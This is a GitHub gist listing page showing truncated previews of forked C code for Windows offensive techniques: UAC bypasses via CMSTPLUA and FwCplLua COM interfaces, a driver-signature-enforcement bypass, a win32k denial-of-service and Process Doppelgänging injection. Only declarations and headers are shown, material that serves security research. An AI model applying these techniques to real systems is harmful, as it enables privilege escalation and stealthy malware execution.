Alexander Rogov ralex1975
ralex1975
/ gist:07025d58ee3c92aecaf701f5d94eddf0
Created
June 14, 2018 18:43
— forked from hfiref0x/gist:9c3120f630241304699ecd7d93446d5f
BitLocker detect
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define BITLOCKER_SIGNATURE "-FVE-FS-" | |
| #define BITLOCKER_SIGNATURE_SIZE sizeof(BITLOCKER_SIGNATURE) | |
| #pragma pack(push,1) | |
| typedef struct _FVEFS_BOOT_RECORD { | |
| BYTE JumpCode[3]; //+0x0 | |
| BYTE Signature[8]; //+0x3 | |
| WORD SectorSize; //+0xB | |
| BYTE SectorsPerCluster; //+0xD | |
| WORD ReservedClusters; //+0xE |
ralex1975
/ gist:6fccee2712e1a584609e676c84d59084
Created
June 14, 2018 18:43
— forked from hfiref0x/gist:59c689a14f1fc2302d858ae0aa3f6b86
CIA Stinger UAC bypass (likely)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| DWORD Error, bytesIO; | |
| NTSTATUS Status; | |
| HANDLE hProcessToken = NULL, hNewToken = NULL, hTest; | |
| BOOL bCond = FALSE; | |
| SHELLEXECUTEINFO shinfo; | |
| SID_IDENTIFIER_AUTHORITY MLAuthority = SECURITY_MANDATORY_LABEL_AUTHORITY; | |
| TOKEN_MANDATORY_LABEL tml, *ptml; | |
| PSID pIntegritySid = NULL; | |
| STARTUPINFO si; | |
| PROCESS_INFORMATION pi; |
ralex1975
/ main.c
Created
June 14, 2018 18:39
— forked from hfiref0x/main.c
NtLoadEnclaveData Windows 10 RS3 DSE bypass
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Original source link https://twitter.com/hFireF0X/status/887930221466443776 | |
| // If you are here from any other link - do know that they just steal original info without giving any credit to source | |
| // This bug has been fixed in 16273 public build. | |
| #include "global.h" | |
| HINSTANCE g_hInstance; | |
| HANDLE g_ConOut = NULL; | |
| BOOL g_ConsoleOutput = FALSE; | |
| WCHAR g_BE = 0xFEFF; |
ralex1975
/ akagi_41.c
Created
June 14, 2018 18:39
— forked from hfiref0x/akagi_41.c
UAC bypass using CMSTPLUA COM interface
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| typedef interface ICMLuaUtil ICMLuaUtil; | |
| typedef struct ICMLuaUtilVtbl { | |
| BEGIN_INTERFACE | |
| HRESULT(STDMETHODCALLTYPE *QueryInterface)( | |
| __RPC__in ICMLuaUtil * This, | |
| __RPC__in REFIID riid, | |
| _COM_Outptr_ void **ppvObject); |
ralex1975
/ akagi_42b.c
Created
June 14, 2018 18:38
— forked from hfiref0x/akagi_42b.c
UAC bypass using FwCplLua COM interface and HKCU mscfile registry entry hijack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| typedef interface IFwCplLua IFwCplLua; | |
| typedef struct IFwCplLuaInterfaceVtbl { | |
| BEGIN_INTERFACE | |
| HRESULT(STDMETHODCALLTYPE *QueryInterface)( | |
| __RPC__in IFwCplLua * This, | |
| __RPC__in REFIID riid, | |
| _COM_Outptr_ void **ppvObject); |
ralex1975
/ NtUserOpenDesktop.c
Created
June 14, 2018 18:12
— forked from hfiref0x/NtUserOpenDesktop.c
Win32k NtUserOpenDesktop Denial Of Service (9200-17046)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| Win32k NtUserOpenDesktop->OpenDesktop Denial Of Service feature. | |
| Working range: x64 Windows 8 (9200) up to Windows 10 RS4 (17046). | |
| x86 versions not tested. | |
| Feature: |
ralex1975
/ inject.c
Created
June 14, 2018 18:12
— forked from hfiref0x/inject.c
Process Doppelgänging
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // Ref = src | |
| // https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf | |
| // | |
| // Credits: | |
| // Vyacheslav Rusakov @swwwolf | |
| // Tom Bonner @thomas_bonner | |
| // | |
| #include <Windows.h> |